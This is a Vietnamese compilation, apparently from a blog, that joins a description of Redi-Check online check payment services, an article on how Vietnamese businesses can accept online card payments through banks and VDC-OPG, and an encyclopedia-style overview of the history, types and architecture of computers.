Có ba mức bảo vệ được Redi-Check chào hàng. Trong quá trình xử lý số của nhà băng chỉ được kiểm tra thông qua hệ thống cơ sở dữ liệu của Federal Reserve. Ðể bảo vệ cho những người bán có thể nhận được tấm séc này số tài khoản của người mua sẽ được so sánh với một danh sách các tấm séc hỏng và các tài khoản đã đóng. Một tấm séc đảm bảo giống như tên của nó mang ý nghĩa, người bán sẽ đảm bảo nhận được tiền thanh toán và cho phép họ có thể giao hàng ngay lập tức. Mỗi mức của dịch vụ sẽ đòi hỏi thêm một quá trình xử lý và sẽ tốn thêm các khoản chi phí.

Hệ thống của Redi-Check không chỉ giảm các chi phí cho hoạt động của người bán, nó còn có thể được dễ dàng cài đặt trên máy chủ WEB của bạn với một vài đoạn mã HTML và liên kết biểu mẫu đặt hàng của bạn với máy chủ Redi-Cash.

Vào năm 1998, Redi-Check cung cấp dịch vụ này cho các cửa hàng trên WEB với mức giá 249 USD và giảm giá 2% cho tất cả các giao dịch với điều kiện tối thiểu giao dịch đó có trị giá 25 USD. Dịch vụ bảo vệ séc cần thêm 15 USD nữa cho phí cài đặt và có giảm giá từ 0.02% cho đến 0.18% phụ thuộc vào độ lớn của số tiền trên séc. Dịch vụ séc bảo đảm có mức giá giống như bảo hiểm, với chi phí thêm trong khi thiết lập ban đầu là 50 USD và giảm giá 1.5% cho 500 USD giao dịch đầu tiên, 1.5% cho các giao dịch tiếp theo trong khoảng từ 500 USD đến 2,500 USD và tối đa là các séc có trị giá 2,500 USD. Tuy nhiên các dịch vụ bảo vệ và bảo đảm được sử dụng độc lập với nhau.

thanh toan truc tuyen

Nhiều doanh nghiệp (DN) đã có website giới thiệu sản phẩm trên mạng, chỉ còn vướng mắc ở khâu thanh toán. Hiện nay, với sự hỗ trợ của các nhà cung cấp dịch vụ thanh toán trực tuyến, DN của bạn đã có thể hoàn chỉnh hệ thống kinh doanh qua mạng.


Lựa chọn đầu tiên với DN: sử dụng thẻ thanh toán quốc tế thông dụng. Chị Lã Hoàng Ha, phó trưởng phòng Phát Triển Dịch Vụ Trực Tuyến của VDC cho biết: dùng dịch vụ này, DN cần làm việc với các công ty dịch vụ thanh toán trên Internet, và đăng ký tài khoản thương mại điện tử (TK TMĐT) tại một NH có triển khai dịch vụ này. TK TMĐT (Internet merchant account) là TK NH đặc biệt, cho phép bạn thanh toán bằng thẻ tín dụng (TTD). Thanh toán bằng TTD chỉ có thể tiến hành thông qua dạng TK này. Một số công ty chuyên về dịch vụ thanh toán trên Internet lớn và uy tín với tên tuổi được biết đến là Visa Card, Master Card, American Express. Hiện nay, một số NH trong nước như Á Châu, Vietcombank, Eximbank, Sacombank đều chấp nhận một trong các loại thẻ thanh toán này.

Có thể tóm tắt quy trình thanh toán qua TTD quốc tế như sau:

1. Khai báo thông tin TTD: Khi khách hàng chấp nhận sản phẩm hay dịch vụ của công ty và muốn thanh toán, khách hàng sẽ cung cấp các thông tin như số thẻ, loại thẻ, ngày hết hạn, số tiền khách đồng ý trả và gửi các thông tin này đến hệ thống thanh toán TTD.

2. Kiểm tra TTD: Hệ thống thanh toán sẽ tự động kiểm tra thẻ có hợp lệ và còn đủ chi trả cho món hàng hoặc dịch vụ định mua hay không.

3. Chuyển tiền vào TK TMĐT: Nếu các thông số đều thỏa mãn, tổ chức tín dụng cung cấp thẻ sẽ gửi một mã số xác nhận đồng ý chi trả cho DN kèm theo các thông số về đơn đặt hàng. Đồng thời, khi thông tin thanh toán được chuyển về trung tâm xử lý TTD và được kiểm tra hợp lệ, số tiền khách hàng thanh toán sẽ được chuyển ngay vào TK TMĐT của DN.

4. Chuyển tiền từ TK TMĐT về TK của công ty: Sau khi hàng hóa dịch vụ được cung cấp, công ty thông báo cho NH nơi công ty đăng ký TK TMĐT để NH chuyển tiền về tài khoản của công ty. Lưu ý, công ty sẽ chịu một khoản phí cho giao dịch này.

Thanh toán qua VDC-OPG

Thanh toán qua TTD quốc tế có ưu điểm là mạng lưới rộng khắp toàn cầu, thanh toán online bất cứ nơi nào, bất kỳ lúc nào nhưng lại khó khăn cho VN vì vẫn còn khá xa vời với đại bộ phận người dân. Một tin vui cho DN trong nước muốn tham gia bán hàng qua mạng là VDC đã phối hợp với NH cung cấp dịch vụ thanh toán trực tuyến tại VN, gọi là hệ thống thanh toán VDC-OPG. Đây là hệ thống thanh toán phối hợp giữa VDC và NH Cổ Phần Thương Mại Á Châu ACB. Tổ chức, cá nhân đều có thể sử dụng hệ thống trực tuyến này làm kênh thanh toán hàng hóa, dịch vụ của mình. Khách hàng là người sử dụng thẻ thanh toán được ACB chấp nhận cho thanh toán trên hệ thống VDC - OPG. Để tham gia VDC – OPG, tổ chức – cá nhân cần: Có website cung cấp hàng hóa, dịch vụ trên Internet; được ACB chấp nhận là đại lý thanh toán thẻ trực tuyến; được VDC cho quyền sử dụng dịch vụ; cài đặt chứng thực điện tử VDC, ACB cấp.

Nói chung, thanh toán trực tuyến dù theo hình thức nào đều đòi hỏi người bán phải có TK chấp nhận thanh toán thẻ tại ngân NH nào đó và thuê một nhà cung cấp dịch vụ thanh toán thẻ. Còn người mua phải có TTD. Tuy nhiên, ở Việt Nam hiện nay, TTD chưa phổ biến, vì thế DN nên cân nhắc hình thức thanh toán phù hợp với khách hàng trong nước và quốc tế. DN có thể chấp nhận càng nhiều phương thức thanh toán càng tốt. Đó chính là cách làm tăng lòng tin và tính thuận tiện cho khách hàng, giúp tăng doanh số và lợi nhuận

Lich su may tinh

Máy tính, cũng gọi là máy vi tính, là những thiết bị hay hệ thống dùng để tính toán hay kiểm soát các hoạt động mà có thể biểu diễn dưới dạng số hay quy luật lôgic.
Máy tính được lắp ghép bởi các thành phần có thể thực hiện các chức năng đơn giản đã định nghĩa trước. Quá trình tác động tương hỗ phức tạp của các thành phần này tạo cho máy tính một khả năng xử lý thông tin. Nếu được thiết lập chính xác (thông thường bởi các chương trình máy tính) máy tính có thể mô phỏng lại một số khía cạnh của một vấn đề hay của một hệ thống. Trong trường hợp này khi được cung cấp một bộ dữ liệu thích hợp nó có thể tự động giải quyết vấn đề hay dự đoán trước sự thay đổi của hệ thống.

Khoa học nghiên cứu về lý thuyết, thiết kế và ứng dụng của máy tính được gọi là khoa học máy tính, hay khoa học điện toán.

Từ "máy tính" (computers), đầu tiên, được dùng cho những người tính toán số học, có hoặc không có sự trợ giúp của máy móc, nhưng hiện nay nó có nghĩa là máy móc hoàn toàn. Đầu tiên máy tính chỉ giải các bài toán số học, nhưng các máy tính hiện đại làm được nhiều hơn thế. Máy tính có thể mua ở Anh đầu tiên là máy Ferrani star theo đề cương "bé."

[sửa]
Các nguyên lý cơ bản
Máy tính có thể làm việc thông qua sự chuyển động của các bộ phận cơ khí, electron, photon, hạt lượng tử hay các hiện tượng vật lý khác đã biết. Mặc dù máy tính được xây dựng từ nhiều công nghệ khác nhau song gần như tất cả các máy tính hiện nay là máy tính điện tử.

Máy tính có thể trực tiếp mô hình hóa các vấn đề cần được giải quyết, trong khả năng của nó các vấn đề cần được giải quyết sẽ được mô phỏng gần giống nhất với những hiện tượng vật lý đang khai thác. Ví dụ, dòng chuyển động của các điện tử (electron) có thể được sử dụng để mô hình hóa sự chuyển động của nước trong đập. Các máy tính tương tự (analog computer) giống như thế đã rất phổ biến trong thập niên 1960 nhưng hiện nay còn rất ít.

Trong phần lớn các máy tính ngày nay, trước hết, mọi vấn đề sẽ được chuyển thành các yếu tố toán học bằng cách diễn tả mọi thông tin liên quan thành các số theo hệ nhị phân (hệ thống đếm dựa trên các số 0 và 1 hay còn gọi là hệ đếm cơ số 2). Sau đó, mọi tính toán trên các thông tin này được tính toán bằng đại số Bool (Boolean algebra).

Các mạch điện tử được sử dụng để mô tả các phép tính Bool. Vì phần lớn các phép tính toán học có thể chuyển thành các phép tính Bool nên máy tính điện tử đủ nhanh để xử lý phần lớn các vấn đề toán học (và phần lớn thông tin của vấn đề cần giải quyết đã được chuyển thành các vấn đề toán học). Ý tưởng cơ bản này, được nhận biết và nghiên cứu bởi Claude E. Shannon, đã làm cho máy tính kỹ thuật số (digital computer) hiện đại trở thành hiện thực.

Máy tính không thể giải quyết tất cả mọi vấn đề của toán học. Alan Turing đã sáng tạo ra khoa học lý thuyết máy tính trong đó đề cập tới những vấn đề mà máy tính có thể hay không thể giải quyết.

Khi máy tính kết thúc tính toán một vấn đề, kết quả của nó được hiển thị cho người sử dụng thấy thông qua thiết bị xuất như: bóng đèn, màn hình , máy in, ...

Những người mới sử dụng máy tính, đặc biệt là trẻ em, thường cảm thấy khó hiểu về ý tưởng cơ bản là máy tính chỉ là một cái máy, nó không thể "suy nghĩ" hay "hiểu" những gì nó hiển thị. Máy tính chỉ đơn giản thi hành các tìm kiếm cơ khí trên các bảng mầu và đường thẳng đã lập trình trước, rồi sau đó nó được chuyển đổi thành các mẫu tùy ý của ánh sáng bởi thiết bị đầu ra. Chỉ có bộ não của con người nhận thức được các mẫu này tạo thành các chữ hay số và gắn ý nghĩa cho chúng. Trong quan điểm của máy tính thì mọi thứ mà nó "nhận thấy" (kể cả khi máy tính được coi là tự nhận biết) chỉ là các hạt electron tương đương với các số 0 và 1. Xem thêm trí tuệ nhân tạo (artificial intelligence) và robot.

[sửa]
Sự phát triển lũy thừa của công nghệ máy tính
Các thiết bị tính toán tăng gấp đôi năng lực (được định nghĩa là số phép tính thực hiện trong một giây cho mỗi 1.000 USD chi phí) sau mỗi 18 đến 24 tháng kể từ năm 1900. Gordon E. Moore, người đồng sáng lập ra Intel, lần đầu tiên đã mô tả tính chất này của sự phát triển vào năm 1965 (Xem định luật Moore). Cùng với việc tăng khả năng tính toán trên một đơn vị chi phí thì tốc độ của sự thu nhỏ kích thước cũng tương tự. Những chiếc máy tính điện tử đầu tiên như ENIAC (ra đời năm 1946) là một thiết bị khổng lồ nặng hàng tấn, tiêu thụ nhiều điện năng, chiếm một diện tích lớn, thực hiện được ít phép tính và đòi hỏi nhiều người điều khiển để có thể hoạt động được. Chúng đắt đến mức chỉ có các chính phủ hay các viện nghiên cứu lớn mới có đủ điều kiện để duy trì hoạt động của chúng. Ngược lại, các máy tính ngày nay có nhiều sức mạnh hơn, rẻ tiền hơn, có kích thước nhỏ hơn, tiêu thụ ít điện năng hơn và phổ biến ở mọi nơi.

[sửa]
Phân loại máy tính
Các phần dưới đây mô tả các xu hướng khác nhau trong sự phân loại các máy tính.

[sửa]
Theo mục đích sử dụng
Siêu máy tính
Siêu máy tính cỡ nhỏ
Mainframe
Máy chủ doanh nghiệp
Máy tính mini
Máy trạm (workstation)
Máy tính cá nhân (PC)
Máy tính để bàn (Desktop)
Máy tính xách tay (Laptop)
Máy tính bảng con
Thiết bị hỗ trợ kỹ thuật số cá nhân (PDA)
Máy tính tháo lắp
Điểm yếu của xu hướng phân loại này là tính chất mơ hồ của nó. Nó thường được sử dụng trong sự phân loại tại một thời điểm nào đó trong sự phát triển của ngành công nghiệp máy tính. Sự phát triển nhanh chóng của công nghiệp này đã làm cho định nghĩa trên nhanh chóng trở lên lạc hậu. Rất nhiều loại máy tính hiện nay không được còn sử dụng nữa, như máy phân tích vi phân (differential analyzer), không được đưa vào danh sách này. Các sơ đồ phân loại khác cần được đề ra để định nghĩa thuật ngữ máy tính một cách ít, hoặc không, mơ hồ hơn.

[sửa]
Theo mức cải tiến công nghệ
Một cách phân loại máy tính ít mơ hồ hơn là theo mức độ hoàn thiện của công nghệ. Những chiếc máy tính có mặt sớm nhất thuần túy là máy cơ khí. Trong thập niên 1930 các thành phần relay cơ-điện đã được giới thiệu vào máy tính từ ngành công nghiệp liên lạc viễn thông và trong thập niên 1940 những chiếc máy tính thuần túy điện tử đã được chế tạo từ những bóng điện tử. Trong hai thập niên 1950 và thập niên 1960 bóng điện tử dần dà được thay thế bởi bóng bán dẫn, và từ cuối thập niên 1960, đầu thập niên 1970 là bởi mạch tích hợp bán dẫn (chíp bán dẫn, hay IC) cho đến hiện nay.

Một hướng nghiên cứu phát triển gần đây là máy tính quang (optical computer) trong đó máy tính hoạt động theo nguyên lý của ánh sáng hơn là theo nguyên lý của các dòng điện; đồng thời, khả năng sử dụng DNA trong công nghệ máy tính cũng đang được thử nghiệm. Một nhánh khác của việc nghiên cứu có thể dẫn công nghiệp máy tính tới những khả năng mới như tính toán lượng tử, tuy rằng nó vẫn còn ở giai đoạn đầu của việc nghiên cứu.

[sửa]
Theo đặc trưng thiết kế
Các máy tính hiện đại đã liên kết các đặc trưng thiết kế chính được phát triển bởi nhiều người đóng góp trong nhiều năm. Các đặc trưng này phần lớn không phụ thuộc vào mức độ hoàn thiện của công nghệ. Các máy tính hiện đại nhận được khả năng tổng thể của chúng theo cách mà các đặc trưng này tác động qua lại với nhau. Một số đặc trưng quan trọng được liệt kê dưới đây.

[sửa]
Kỹ thuật Số và Tương tự
Một quyết định nền tảng trong việc thiết kế máy tính là hoặc sử dụng kỹ thuật số (digital) hoặc sử dụng kỹ thuật tương tự (analog). Các máy tính kỹ thuật số (digital computer) tính toán trên các giá trị số rời rạc (discreet value) hoặc giá trị tượng trưng (symbolic value), trong khi đó máy tính tương tự (analog computer) tính toán trên các tín hiệu dữ liệu liên tục (continuous data signal). Bắt đầu từ thập niên 1940, máy tính kỹ thuật số đã trở nên phổ biến hơn mặc dù máy tính tương tự vẫn được sử dụng cho một số mục đích đặc biệt như trong kỹ thuật robot và việc kiểm soát các lò xyclôtrôn. Các thiết kế khác dùng tính toán xung lượng và tính toán lượng tử cũng hiện hữu nhưng chúng hoặc được sử dụng cho các mục đích đặc biệt hoặc vẫn đang trong vòng thử nghiệm.

[sửa]
Nhị phân và Thập phân
Một phát triển quan trọng trong thiết kế tính toán kỹ thuật số là việc sử dụng hệ nhị phân như là hệ thống số đếm nội tại. Điều này đã bãi bỏ các yêu cầu cần thiết trong các cơ cấu kỹ thuật phức tạp của các máy tính sử dụng các hệ số đếm khác, chẳng hạn như hệ thập phân. Việc áp dụng hệ nhị phân đã làm cho việc thiết kế trở lên đơn giản hơn để thực hiện các phép tính số học và các phép tính lôgic.

[sửa]
Khả năng lập trình
Khả năng lập trình của máy tính (programmability), nghĩa là cung cấp cho nó một tập hợp các chỉ thị để thực hiện mà không có sự điều chỉnh vật lý đối với nó, là một đặc trưng thiết kế nền tảng của phần lớn các máy tính. Đặc trưng này là một sự mở rộng đáng kể khi các máy tính đã được phát triển đến mức nó có thể kiểm soát động luồng thực hiện của chương trình. Điều này cho phép máy tính kiểm soát được thứ tự trong sự thực thi các chỉ lệnh trong chương trình dựa trên các dữ liệu đã được tính ra.

Điểm nổi bật chính trong thiết kế này đã được đơn giản hóa một cách đáng kể với việc áp dụng các phép tính số học theo hệ đếm nhị phân để nó có thể mô tả hàng loạt các phép tính lôgic.

[sửa]
Lưu trữ
Trong quá trình tính toán, máy tính thông thường cần phải lưu trữ các giá trị trung gian để có thể sử dụng trong các tính toán sau đó. Khả năng thực hiện của máy tính phần lớn phụ thuộc vào tốc độ đọc các giá trị từ bộ nhớ và tốc độ ghi vào bộ nhớ, cũng như dung lượng bộ nhớ. Ban đầu bộ nhớ chỉ được sử dụng cho các giá trị trung gian nhưng từ thập niên 1940 thì chính bản thân chương trình cũng có thể được lưu trữ theo cách này. Điểm nổi trội này đã dẫn đến việc ra đời của những chiếc máy tính có sẵn chương trình đầu tiên của thế hệ máy tính ngày nay.

[sửa]
Theo năng lực sử dụng
Có lẽ cách tốt nhất để phân loại các thiết bị máy tính là theo năng lực nội tại của nó hơn là theo việc sử dụng, sự hoàn thiện công nghệ hay các đặc trưng thiết kế. Máy tính có thể chia làm ba dạng chính dựa theo năng lực sử dụng:

Các thiết bị có một mục đích chỉ có thể thực hiện duy nhất một chức năng (ví dụ cỗ máy Antikythera năm 87 trước công lịch, và máy dự báo thủy triều của Lord Kelvin năm 1876)
Các thiết bị có mục đích đặc biệt có thể thực hiện một số chức năng hữu hạn (ví dụ động cơ vi phân số 1. - Difference Engine No 1 - của Charles Babbage năm 1832 và máy phân tích vi phân của Vannevar Bush năm 1932)
Các thiết bị có mục đích không nhất định là các dạng máy tính sử dụng ngày nay.
[sửa]
Các máy tính có mục đích không nhất định
Theo định nghĩa thì một máy tính có mục đích không nhất định (general-purpose computer) có thể giải quyết bất kỳ vấn đề nào có thể biểu diễn bởi một chương trình và thực thi trong các giới hạn tạo bởi: khả năng lưu trữ của máy, kích thước của chương trình, tốc độ thực thi chương trình và độ tin cậy của máy tính. Năm 1934 Alan Turing chứng minh rằng, nếu được cung cấp một chương trình đúng, bất kỳ máy tính có mục đích không nhất định nào cũng có thể có hành vi như những máy tính khác. Chứng minh toán học này là hoàn toàn lý thuyết vì khi đó chưa có máy tính có mục đích không nhất định nào cả. Hệ quả của chứng minh này thật sâu sắc, ví dụ: bất kỳ một máy tính có mục đích không nhất định nào hiện nay đều có khả năng như những máy tính có mục đích không nhất định trong tương lai, mặc dù chậm hơn.

Các máy tính có mục đích không nhất định còn được gọi là các máy loại Turing hoàn tất và điều này được sử dụng như khả năng ngưỡng để định nghĩa các máy tính hiện nay, tuy nhiên, định nghĩa này có vài vấn đề. Một số thiết bị tính toán với thiết kế đơn giản đã được chứng tỏ là có tính Turing hoàn tất. Cho đến nay, Z3, phát triển bởi Konrad Zuse năm 1941, là chiếc máy tính hoạt động đầu tiên đã được chứng tỏ đạt được tính chất này, (chứng minh được hoàn thành vào năm 1998). Trong khi Z3 và có thể một số thiết bị khác có tính Turing hoàn tất trên lý thuyết, trên thực tế chúng không phải là những máy tính có mục đích không nhất định. Chúng thuộc về những cái được gọi một cách hài hước là Turing Tar-Pit - "chỗ ở đó mọi điều đều có thể nhưng chẳng có gì là thực tế" (Xem Jargon File). Các máy tính hiện đại không những có mục đích không nhất định trên lý thuyết còn có mục đích không nhất định trên thực tế. Các máy tính hiện đại như loại kỹ thuật số, loại điện tử hay loại có mục đích không nhất định được phát triển bởi nhiều người đóng góp trong một khoảng thời gian dài từ giữa thập niên 1930 tới cuối thập niên 1940, trong giai đoạn này rất nhiều cỗ máy thử nghiệm đã được phát triển có thể coi là có tính Turing hoàn tất (như ABC, ENIAC, Harvard Mk I, Colossus v.v.) (Xem thêm Lịch sử phần cứng máy tính). Tất cả các cỗ máy này trong thời đại của chúng đều được cho là chiếc máy tính đầu tiên, nhưng tất cả đều có những giới hạn nhất định trong mục đích sử dụng và thiết kế của chúng đã sớm bị thải loại.

[sửa]
Các máy tính có sẵn chương trình
Trong cuối thập niên 1940 thiết kế đầu tiên cho máy tính có sẵn chương trình (stored-program computer) đã được phát triển và biên khảo (Xem thêm Bản thảo đầu tiên) tại trường công nghệ điện Moore của Đại học Pennsylvania. Phương pháp giải quyết, mô tả trong tài liệu, được biết đến như là kiến trúc Von Neumann, mang tên của nhà toán học Jon von Neumann mặc dù các thành viên của trường công nghệ điện Moore mới thực sự sáng chế ra thiết kế này. Kiến trúc Von Neumann đã giải quyết vấn đề thuộc về thiết kế của máy ENIAC và sửa đổi bằng cách lưu trữ chương trình của máy trong bộ nhớ của nó. Von Neumann cung cấp thiết kế này cho các nhà nghiên cứu khác ngay sau khi ENIAC được công bố vào năm 1946. Nhiều kế hoạch đã được phát triển để hoàn thiện thiết kế này tại trường Moore trong chiếc máy có tên gọi là EDVAC. EDVAC đã không hoạt động được cho đến tận năm 1953 vì các khó khăn kỹ thuật trong việc hoàn thiện độ tin cậy của bộ nhớ. Các viện nghiên cứu khác từ bản sao của thiết kế này đã giải quyết được vấn đề đó trước trường Moore và hoàn thiện các máy tính có sẵn chương trình của họ. Theo thứ tự của việc hoạt động thành công thì 5 chiếc máy tính có sẵn chương trình đầu tiên dựa trên cơ sở của kiến trúc Von Neumann là:

Manchester Mk I nguyên mẫu (Baby) Đại học Manchester, Anh 21 tháng 6, 1948.
EDSAC Đại học Cambridge, Anh 6 tháng 5, 1949.
BINAC Mỹ, tháng 4 1949 hoặc tháng 8, 1949.
CSIR Mk 1 Úc tháng 11, 1949.
SEAC, Mỹ, 9 tháng 5, 1950.
Thiết kế "chương trình có sẵn", được định nghĩa bởi kiến trúc Von Neumann, cuối cùng đã cho phép máy tính khai thác tiềm năng "mục đích không nhất định" của chúng. Bằng cách lưu trữ chương trình trong bộ nhớ, chúng có thể nhanh chóng "nhảy" từ chỉ thị này tới chỉ thị khác dựa trên kết quả của một điều kiện như đã được định nghĩa sẵn trong chương trình. Các điều kiện này thông thường lượng giá các dữ liệu đã được tính toán bởi chương trình và cho phép chương trình trở thành động hơn. Thiết kế này cũng hỗ trợ vào khả năng tự động viết lại chương trình ngay trong khi nó đang thực thi - một đặc trưng rất mạnh nhưng cần sử dụng một cách cẩn thận. Các đặc trưng này là nền tảng cho các máy tính hiện đại.

Nói một cách chính xác, phần lớn các máy tính hiện đại là thiết bị tính toán theo phép nhị phân, bằng điện tử, có sẵn chương trình và có mục đích không nhất định.

[sửa]
Các máy tính có mục đích đặc biệt
Các máy tính có mục đích đặc biệt (special-purpose computer) đã được phổ biến trong thập niên 1930 và đầu thập niên 1940 nhưng vẫn chưa bị thay thế hoàn toàn bởi các máy tính có mục đích không nhất định. Sự giảm xuống về kích thước và giá cả cũng như sự tăng năng lực của chúng đã làm việc sử dụng máy tính có mục đích đặc biệt trong các ứng dụng đặc biệt thành một hiệu quả tốt về mặt chi phí. Rất nhiều các thiết bị dùng tại nhà và công nghiệp như điện thoại di động, máy thâu video, hệ thống đánh lửa tự động v.v có chứa loại máy tính có mục đích đặc biệt này. Trong một số trường hợp các máy tính này là loại Turing hoàn tất (như máy chơi trò chơi điện tử, PDA) nhưng rất nhiều trong số của chúng được lập trình một lần tại nhà máy sản xuất và rất ít khi phải lập trình lại. Chương trình mà các thiết bị này thực thi thông thường được lưu trữ trong bộ nhớ chỉ đọc (ROM) mà khi cần thiết có thể thay thế để thay đổi hoạt động của máy. Các máy tính được nhúng bên trong các thiết bị khác thông thường được gọi là bộ vi điều chỉnh (microcontroller) hay máy tính nhúng (embedded computer).

[sửa]
Các máy tính có một mục đích
Các máy tính có một mục đích (single-purpose computer) là loại xuất hiện sớm nhất của thiết bị máy tính. Khi được cung cấp dữ liệu nó có thể tính kết quả của một hàm đơn giản đã được thiết lập trong cơ chế của nó. Các máy tính có mục đích không nhất định gần như đã thay thế hoàn toàn các máy tính có một mục đích và, do đó, đã phát sinh một lĩnh vực hoạt động mới của loài người - việc phát triển phần mềm. Các máy tính có mục đích không nhất định cần phải được lập trình với một bộ chỉ thị liên quan đến hành động mà chúng được yêu cầu thực hiện và các chỉ thị này được biết đến một cách tổng quát như là phần mềm máy tính. Việc thiết kế các thiết bị tính toán có một mục đích hay có mục đích đặc biệt hiện nay là những bài tập khái niệm thuần túy bao gồm các phần mềm thiết kế.

[sửa]
Theo hình thức hoạt động
Máy tính có thể được phân loại tùy theo cách thức người dùng vận hành. Có hai loại chính: kiểu xử lý tuần tự (batch processing) và kiểu xử lý tương tác (interactive processing).

[sửa]
Các ứng dụng máy tính
Các máy tính điện tử dùng kỹ thuật số (digital computer) đầu tiên, với kích thước lớn và giá thành cao, phần lớn thực hiện các tính toán khoa học, thông thường để hỗ trợ các mục tiêu quân sự. ENIAC đầu tiên được thiết kế để tính toán các bảng đạn đạo cho pháo binh nhưng nó cũng được sử dụng để tính toán mật độ nơtron trên bình diện để hỗ trợ vào thiết kế bom khinh khí. Công việc tính toán này, xảy ra từ tháng 12, 1945 đến tháng 1, 1946 với hàng triệu thẻ đục lỗ, vạch ra rằng một thiết kế cho bom kinh khí đang được xem xét lúc đó sẽ không thành công. (Rất nhiều siêu máy tính hiện nay cũng được sử dụng để giả lập các vũ khí hạt nhân.) CSIR Mk I, chiếc máy tính có sẵn chương trình (stored-program computer) đầu tiên của Úc được sử dụng để lượng giá các mô hình mưa cho lưu vực các sông thuộc sơ đồ dãy núi Snowy, một dự án thủy điện lớn. Các máy khác được sử dụng trong việc phân tích mã hóa, ví dụ như chiếc máy tính với kỹ thuật số được lập trình đầu tiên trên thế giới (tuy không phải là máy tính có mục đích không nhất định) là Colossus, được lắp ráp trong Đệ nhị thế chiến. Bất chấp sự định hướng ban đầu cho các ứng dụng khoa học, máy tính đã được sử dụng trong nhiều lĩnh vực khác.

Trước tiên các máy tính có sẵn chương trình được sử dụng để giải quyết các vấn đề kinh doanh. LEO, máy tính có sẵn chương trình lắp ráp bởi công ty J. Lyons and Co tại Anh, đã hoạt động và được sử dụng để quản lý hàng tồn kho, cũng như các mục đích khác, cho 3 năm trước khi IBM lắp ráp chiếc máy tính có sẵn chương trình đầu tiên của họ. Việc giảm giá thành và kích thước của máy đã liên tục làm nó phù hợp cho những tổ chức nhỏ hơn. Với sự phát minh ra bộ vi xử lý trong thập niên 1970 thì việc lắp ráp máy tính rẻ tiền đã trở thành khả thi. Trong thập niên 1980 máy tính cá nhân trở lên phổ biến cho nhiều công việc từ kế toán, soạn thảo, in ấn tài liệu tới tính toán các dự báo và các công việc toán học lặp lại qua các bảng tính.

[sửa]
Internet
Trong thập niên 1970, các kỹ sư điện toán của các viện nghiên cứu trên khắp nước Mỹ bắt đầu liên kết máy tính của họ với nhau thông qua công nghệ của ngành liên lạc viễn thông. Những cố gắng này được ARPA hỗ trợ, và mạng máy tính mà nó cung cấp được gọi là ARPANET. Các công nghệ tạo ra Arpanet đã mở rộng và phát triển sau đó. Chẳng bao lâu, mạng máy tính mở rộng ra ngoài các viện khoa học và được biết đến như là Internet.

Trong thập niên 1990, việc phát triển của công nghệ World Wide Web đã làm cho ngay cả những người không chuyên nghiệp cũng có thể sử dụng internet. Nó phát triển nhanh đến mức đã trở thành phương tiện liên lạc toàn cầu như ngày nay.

[sửa]
Phương thức hoạt động
Trong khi các công nghệ sử dụng trong máy tính không ngừng thay đổi kể từ những chiếc máy tính có mục đích không nhất định đầu tiên của thập niên 1940 (Xem Lịch sử phần cứng máy tính) thì phần lớn các máy tính vẫn còn sử dụng kiến trúc Von Neumann.

Kiến trúc Von Neumann chia máy tính ra làm bốn bộ phận chính: đơn vị số học và lôgic (ALU), đơn vị kiểm soát, bộ nhớ và các thiết bị đầu/cuối (I/O). Các bộ phận này được kết nối với nhau bằng hàng đống dây điện (bus) và thông thường được điều chỉnh bởi bộ đếm thời gian hay đồng hồ (mặc dù các sự kiện khác cũng có thể điều chỉnh đơn vị kiểm soát).

[sửa]
Bộ nhớ
Trong hệ thống này bộ nhớ là sự nối tiếp của các ô đánh số thứ tự, mỗi ô chứa một phần nhỏ của thông tin. Thông tin có thể là chỉ thị cho máy tính. Mỗi ô cũng có thể chứa dữ liệu mà máy tính cần để thi hành chỉ thị. Nội dung của một ô nhớ có thể thay đổi ở bất kỳ thời điểm nào.

Kích thước một ô nhớ cũng như số lượng ô nhớ thay đổi theo từng máy tính giống như công nghệ sử dụng trong việc chế tạo bộ nhớ, từ relay cơ-điện tới ống chứa thủy ngân, từ băng từ tới transistor hay IC.

[sửa]
Bộ xử lý (CPU)

Đơn vị lôgic và số học, (tiếng Anh viết tắt ALU), là thiết bị thực hiện các phép tính cơ bản như các phép tính số học (cộng, trừ, nhân, chia, v.v), các phép tính lôgic (AND, OR, NOT, v.v) cũng như các phép so sánh (ví dụ: so sánh nội dung của hai byte xem có bằng nhau). Đơn vị này là nơi mà các "công việc thực sự" được thực thi.

Đơn vị kiểm soát theo dõi các byte trong bộ nhớ có chứa chỉ thị để máy tính thực thi, cung cấp cho ALU một chỉ thị cần phải thực thi cũng như chuyển kết quả thu được tới các vị trí thích hợp trong bộ nhớ. Sau khi điều đó diễn ra, đơn vị kiểm soát chuyển tới chỉ thị kế tiếp (thông thường nằm tại địa chỉ ngay sau), nếu không thì chỉ thị sẽ là chỉ thị nhảy thông báo cho máy tính là chỉ thị tiếp theo nằm tại một địa chỉ khác. Khi tham chiếu tới bộ nhớ, chỉ thị hiện thời có thể sử dụng một số phương thức đánh địa chỉ (addressing mode) để xác định địa chỉ liên quan trong bộ nhớ. Một số bo mạch chủ trong máy tính có thể gắn được hai hay nhiều bộ xử lý. Các loại máy tính phục vụ thường có hai hay nhiều bộ xử lý.

[sửa]
Thiết bị đầu/cuối (I/O)
Thiết bị đầu/cuối (còn gọi là thiết bị vào/ra) cho phép máy tính thu nhận thông tin từ bên ngoài và gửi kết quả công việc của nó ngược trở lại. Có rất nhiều chủng loại thiết bị đầu cuối như bàn phím, màn hình, ổ đĩa mềm, máy in, ổ USB, ổ cứng di động tới những thiết bị không thông dụng như webcam.

Công việc của thiết bị đầu vào (input) là mã hóa (chuyển đổi) thông tin từ nhiều định dạng sang dạng dữ liệu mà máy tính có thể xử lý tiếp. Các thiết bị đầu ra (output) thì ngược lại, thực hiện công việc giải mã dữ liệu thành thông tin mà người sử dụng có thể hiểu được. Với ý nghĩa này thì hệ thống máy tính có thể coi như một hệ thống xử lý dữ liệu.

[sửa]
Các chỉ thị
Tập hợp các ngôn ngữ dùng cho chỉ thị của máy tính thì không nhiều như ngôn ngữ của con người. Máy tính có một tập hợp hữu hạn gồm các chỉ thị đơn giản đã được định nghĩa trước. Nó chỉ có thể thực thi hai nhiệm vụ là đếm và so sánh. Các loại chỉ thị điển hình mà phần lớn máy tính có thể hỗ trợ, chuyển sang ngôn ngữ con người, là "sao chép nội dung ô 123, đặt bản sao đó vào ô 456", "thêm nội dung của ô 666 vào nội dung ô 042, đưa kết quả vào ô 013", "nếu kết quả của ô 999 là 0, chỉ thị tiếp theo nằm tại ô 345"...

